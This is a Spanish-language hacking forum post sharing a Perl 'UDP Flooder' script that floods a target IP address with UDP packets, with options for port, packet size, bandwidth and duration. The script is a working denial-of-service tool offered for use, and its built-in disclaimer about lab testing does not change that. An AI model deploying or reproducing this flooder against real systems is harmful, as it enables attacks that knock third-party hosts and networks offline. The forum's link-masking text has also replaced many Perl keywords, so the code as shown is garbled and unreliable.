send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

UDP Flooder

  • 0 Respuestas
  • 1039 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado @ed33x

  • *
  • Underc0der
  • Mensajes: 107
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« en: Enero 27, 2011, 08:54:52 pm »
Código: Perl
  1. #!/usr/bin/perl
  2. #####################################################
  3. # udp flood.
  4. ######################################################
  5.  
  6. use Socket;
  7. use strict;
  8. use Getopt::Long;
  9. use Time::HiRes You are not allowed to view links. Register or Login( usleep gettimeofday ) ;
  10.  
  11. our $port = 0;
  12. our $size = 0;
  13. our $time = 0;
  14. our $bw   = 0;
  15. our $help = 0;
  16. our $delay= 0;
  17.  
  18. GetOptions(
  19.         "port=i" => \$port,             # UDP port to use, numeric, 0=random
  20.         "size=i" => \$size,             # packet size, number, 0=random
  21.         "bandwidth=i" => \$bw,          # bandwidth to consume
  22.         "time=i" => \$time,             # time to run
  23.         "delay=f"=> \$delay,            # inter-packet delay
  24.         "help|?" => \$help);            # help
  25.        
  26.  
  27. my ($ip) = @ARGV;
  28.  
  29. if ($help || !$ip) {
  30.   You are not allowed to view links. Register or Login <<'EOL';
  31. flood.pl --port=dst-port --size=pkt-size --time=secs
  32.          --bandwidth=kbps --delay=msec ip-address
  33.  
  34. Defaults:
  35.   * random destination UDP ports are used unless --port is specified
  36.   * random-sized packets are sent unless --size or --bandwidth is specified
  37.   * flood is continuous unless --time is specified
  38.   * flood is sent at line speed unless --bandwidth or --delay is specified
  39.  
  40. Usage guidelines:
  41.   --size parameter is ignored if both the --bandwidth and the --delay
  42.     parameters are specified.
  43.  
  44.   Packet size is set to 256 bytes if the --bandwidth parameter is used
  45.     without the --size parameter
  46.  
  47.   The specified packet size is the size of the IP datagram (including IP and
  48.   UDP headers). Interface packet sizes might vary due to layer-2 encapsulation.
  49.  
  50. Warnings and Disclaimers:
  51.   Flooding third-party hosts or networks is commonly considered a criminal activity.
  52.   Flooding your own hosts or networks is usually a bad idea
  53.   Higher-performace flooding solutions should be used for stress/performance tests
  54.   Use primarily in lab environments for QoS tests
  55. EOL
  56.   You are not allowed to view links. Register or Login(1);
  57. }
  58.  
  59. if ($bw && $delay) {
  60.   You are not allowed to view links. Register or Login "WARNING: computed packet size overwrites the --size parameter ignored\n";
  61.   $size = You are not allowed to view links. Register or Login($bw * $delay / 8);
  62. } elsif ($bw) {
  63.   $delay = (8 * $size) / $bw;
  64. }
  65.  
  66. $size = 256 if $bw && !$size;
  67.  
  68. ($bw = You are not allowed to view links. Register or Login($size / $delay * 8)) if ($delay && $size);
  69.  
  70. my ($iaddr,$endtime,$psize,$pport);
  71. $iaddr = inet_aton("$ip") or You are not allowed to view links. Register or Login "Cannot resolve hostname $ip\n";
  72. $endtime = You are not allowed to view links. Register or Login() + ($time ? $time : 1000000);
  73. You are not allowed to view links. Register or Login(flood, PF_INET, SOCK_DGRAM, 17);
  74.  
  75. You are not allowed to view links. Register or Login "Flooding $ip " . ($port ? $port : "random") . " port with " .
  76.   ($size ? "$size-byte" : "random size") . " packets" . ($time ? " for $time seconds" : "") . "\n";
  77. You are not allowed to view links. Register or Login "Interpacket delay $delay msec\n" if $delay;
  78. You are not allowed to view links. Register or Login "total IP bandwidth $bw kbps\n" if $bw;
  79. You are not allowed to view links. Register or Login "Break with Ctrl-C\n" unless $time;
  80.  
  81. You are not allowed to view links. Register or Login "Invalid packet size requested: $size\n" if $size && ($size < 64 || $size > 1500);
  82. $size -= 28 if $size;
  83. for (;You are not allowed to view links. Register or Login() <= $endtime;) {
  84.   $psize = $size ? $size : You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login(1024-64)+64) ;
  85.   $pport = $port ? $port : You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login(65500))+1;
  86.  
  87.   You are not allowed to view links. Register or Login(flood, You are not allowed to view links. Register or Login("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
  88.   usleep(1000 * $delay) if $delay;
  89. }
  90.  
« Última modificación: Marzo 14, 2015, 09:55:38 am por Expermicid »
Me cambie de messenger ahora es: edeex@live.comYou are not allowed to view links. Register or Login

 

¿Te gustó el post? COMPARTILO!